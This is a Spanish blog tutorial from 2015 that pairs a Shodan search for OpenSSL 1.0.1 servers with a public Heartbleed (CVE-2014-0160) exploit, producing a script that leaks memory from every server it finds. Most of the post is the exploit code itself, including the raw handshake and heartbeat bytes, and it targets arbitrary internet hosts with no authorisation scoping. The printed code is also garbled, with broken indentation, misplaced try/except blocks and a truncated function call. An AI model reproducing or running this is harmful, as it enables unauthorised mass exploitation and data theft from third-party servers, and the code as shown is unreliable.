jueves, 26 de noviembre de 2015

Automatizando un proceso de pentesting.


"Si lo tienes que hacer de la misma forma más de tres veces.... tienes que empezar a plantearte hacer un programa."

Con esa entrada ya lo he dicho todo.

Vamos a crear un programa que haga dos cosas: una búsqueda automática de un sistema con una vulnerabilidad específica y luego vamos a aplicarle un exploit que ya exista.

No vamos a crear el exploit, ni siquiera deberíamos entender que hace el exploit ya que normalmente suelen requerir bastantes conocimientos. Aunque debemos ser lo suficientemente buenos programadores para ser capaz de meter mano al exploit y remodelarlo a nuestro gusto.

Al igual que si lo hiciéramos de forma artesanal, lo primero que debemos hacer es buscar la vulnerabilidad. Hay muchas maneras, en este programa vamos a usar, y de paso la doy a conocer, el API de programación de Shodan.

Una vez localizado los posibles objetivos lanzamos sobre ellos el exploit y esperamos los resultados. Vamos a elegir algo sencillo y muy de moda: la vulnerabilidad CVE-2014-0160  de HeartBleed. Antes de entrar en materia conviene entender  que es esa vulnerabilidad.

https://xkcd.com/1354/ (Con viñetas)

http://www.engadget.com/2014/04/12/heartbleed-explained/ (Sin tecnicismo)

O si queremos algo más técnico (sólo para incodicionales del lenguaje ensamblador): http://www.engadget.com/2014/04/12/heartbleed-explained/


Localizando objetivos.


Usaremos la API de Shodan previamente para poder usarla hemos de obtener la clave API de esta web https://developer.shodan.io/.
Para usar Shodan en su funcionalidad completa deberemos comprar algún tipo de licencia, pero para poder realizar la práctica podemos obtener la clave gratuita. Esta clave nos limita la capacidad de filtrado y nos da únicamente una pequeña parte de los resultados obtenidos.

Para programar usaremos Python que gracias a la gran cantidad de módulos disponible nos vale para todo. Nos descargamos e instalamos la librería nmap y ya vamos al lío.


import shodan
shodanKey = 'Shodan API Key'
shodan1 = shodan.Shodan(shodanKey)
if __name__ == '__main__':
   k = 0
   try:
      shodan1 = shodan1.search('OpenSSL/1.0.1')
      print 'Total servidores encontrados: %s' % str(shodan1.count) 
      for result in shodan1['matches']:
         print 'IP: %s' % result['ip_str']
         print result['data']
      except shodan.APIError, e:
         print 'Error %s' % e





Ejecutamos y así de fácil obtenemos un resultado parecido a este.




Notaréis que se imprimen muchos menos sistemas que los que dice haber encontrado. Eso es debido al tipo de API que usamos tal y como dije arriba.


Seleccionando el exploit.


Ahora sólo tenemos que buscar un exploit que aprovecha esta vulnerabilidad. Hay multitud de ellos y vamos a localizar uno que tenga poca complicación. Por ejemplo este

 https://www.exploit-db.com/exploits/32745/

Este exploit es bastante simple y no tiene en cuenta bastantes situaciones que se pueden dar, así que nos veremos obligados a realizar dos tareas:

Convertirlo en función dentro del esquema anterior.
Contemplar algunas situaciones para evitar que se pare en medio de una ejecución.

Integrando el exploit en el script


Se pueden encontrar exploits mas completos, algunos dan una explicación del valor de cada octeto del helloServer, que en este exploit viene totalmente descarnado.

import nmap
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01 ''')

Añadimos los módulos necesarios y las funciones.



import shodan
import sys
import struct
import socket
import time
import select
import re

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
try:
  data = s.recv(remain)
except:
print 'Error receiving'
return None
            # EOF?
if not data:
return None
rdata += data
remain -= len(data)
    return rdata
     

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
 status = 'Unexpected EOF receiving record header - server closed connection'
 print status
 return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
 status =  'Unexpected EOF receiving record payload - server closed connection'
 print status
 return None, None, None
    status = ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            #print 'No heartbeat response received, server likely not vulnerable'
status = 'No heartbeat response received, server likely not vulnerable'
print status
return False

        if typ == 24:
            #print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                #print 'WARNING: server returned more data than it should - server is vulnerable!'
status = 'WARNING: server returned more data than it should - server is vulnerable!'
print status
            else:
                #print 'Server processed malformed heartbeat, but did not return any extra data.'
status= 'Server processed malformed heartbeat, but did not return any extra data.'
print status
            return True

        if typ == 21:
            #print 'Received alert:'
hexdump(pay)
            #print 'Server returned error, likely not vulnerable'
status = 'Server returned error, likely not vulnerable'
print status
return False



shodanKey = 'Shodan API Key'
shodan1 = shodan.Shodan(shodanKey)
if __name__ == '__main__':
   k = 0
   try:
      shodan1 = shodan1.search('OpenSSL/1.0.1')
      print 'Total servidores encontrados: %s' % str(shodan1.count) 
      for result in shodan1['matches']:
         print 'IP: %s' % result['ip_str']
         print result['data']
      except shodan.APIError, e:
         print 'Error %s' % e

Cambiamos de nombre la función main del exploit y la llamamos sslpentest y que admite dos parámetros la dejamos entonces así:


def sslpentest(ip_addr, puerto):

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((ip_addr, puerto))
except:
print 'Timeout connecting'
return
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
status =  'Server closed connection without sending Server Hello.'
print status
return
        # Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break

    #print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s


Y añadimos la llamada a la nueva función en el main

shodanKey = 'Shodan API Key'
shodan1 = shodan.Shodan(shodanKey)
if __name__ == '__main__':
   k = 0
   try:
      shodan1 = shodan1.search('OpenSSL/1.0.1')
      print 'Total servidores encontrados: %s' % str(shodan1.count) 
      for result in shodan1['matches']:
         print 'IP: %s' % result['ip_str']
         print result['data']
         sslpentest(result['ip_str'], '443')
      except shodan.APIError, e:
         print 'Error %s' % e


Con lo que hemos hecho, el script funcionaría pero al no controlar los errores se nos puede parar. Como el programa está pensando para testear un solo equipo el programador no ha tenido en cuenta esa precaución. Pero como nuestra intención es dejar el programa realizando el test sobre un número indeterminado debemos tomar la precaución de controlar los errores que podemos esperar. En rojo en los textos anteriores se puede ver que he colocado dos sentencias try.....catch.

La primera en el momento de la conexión y la otra en la lectura.

Ejecutando el script. 


Solo tenemos que ejecutar el script. Si tuviéramos una clave "pro" de shodan el script se tomaría su tiempo, pero al tener la gratuita, son pocos los equipos sobre los que podemos realizar la prueba.

Ejecutamos, esperamos veremos que lo normal es ir sacando esto:




Y si tenemos la suerte de que uno de esos equipos sea vulnerable tendremos una salida como esta:



Empieza así




Y  tras  varios pantallazos acabaría así: 





Pendiente

El script todavía necesita algunas cosas para ser completo.
Sólo trabaja con el puerto 443 y debería trabajar con todos los puertos abiertos. Para ello habría que integrar tambien el módulo de nmap para un por cada equipo localizado detectara todos los puertos abiertos y lanzara el helloserver a cada uno de ellos.

Un buen ejercicio para quien siga este blog.




No hay comentarios:

Publicar un comentario